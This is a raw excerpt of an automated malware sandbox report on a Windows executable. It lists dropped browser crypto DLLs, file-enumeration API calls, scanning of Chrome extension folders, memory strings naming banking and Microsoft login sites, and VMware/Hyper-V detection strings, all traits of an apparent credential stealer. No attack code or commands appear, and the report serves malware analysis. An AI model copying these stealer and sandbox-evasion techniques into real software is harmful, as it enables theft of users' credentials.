Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_004278C5 push ecx; ret		0_2_004278D8
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9EB536 push ecx; ret		0_2_6C9EB549

Source: 2BI8rJKpBa.exe

Static PE information: section name: .text entropy: 7.7840396294466805

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

0_2_00426710

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

API coverage: 8.0 %

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_0040DD70 lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,StrCmpCA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_0040DD70
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_004115E0 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_004115E0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_004015A0 lstrcpy,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,GetFileAttributesA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	0_2_004015A0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_0041D640 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_0041D640
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_00414EC0 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,CopyFileA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_00414EC0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_00412747 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	0_2_00412747
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_0041E330 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	0_2_0041E330
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_0041CCE0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,CreateFileA,GetFileSizeEx,CloseHandle,CloseHandle,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	0_2_0041CCE0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_004015B9 lstrcpy,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	0_2_004015B9
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_0041DE50 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,lstrcpy,	0_2_0041DE50
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_00412749 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	0_2_00412749

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Code function: 0_2_00423190 GetSystemInfo,wsprintfA,

0_2_00423190

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: Amcache.hve.14.dr	Binary or memory string: VMware
Source: FCAKFCGC.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: Amcache.hve.14.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: 2BI8rJKpBa.exe, 00000000.00000002.2668293403.00000000007FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware;
Source: FCAKFCGC.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: 2BI8rJKpBa.exe, 00000000.00000002.2668293403.0000000000863000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: FCAKFCGC.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: FCAKFCGC.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: FCAKFCGC.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: FCAKFCGC.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Amcache.hve.14.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: FCAKFCGC.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: FCAKFCGC.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: FCAKFCGC.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: FCAKFCGC.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: Amcache.hve.14.dr	Binary or memory string: vmci.sys
Source: FCAKFCGC.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: FCAKFCGC.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: FCAKFCGC.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Amcache.hve.14.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.14.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.14.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.14.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: 2BI8rJKpBa.exe, 00000000.00000002.2668293403.00000000007FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.14.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.14.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.14.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.14.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.14.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.14.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: 2BI8rJKpBa.exe, 00000000.00000002.2668293403.000000000082F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWho
Source: Amcache.hve.14.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: FCAKFCGC.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: FCAKFCGC.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: FCAKFCGC.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Amcache.hve.14.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.14.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.14.dr	Binary or memory string: VMware, Inc.
Source: FCAKFCGC.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Amcache.hve.14.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.14.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.14.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.14.dr	Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: Amcache.hve.14.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: msedge.exe, 00000007.00000003.2307545411.000024A4002B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: FCAKFCGC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Amcache.hve.14.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.14.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
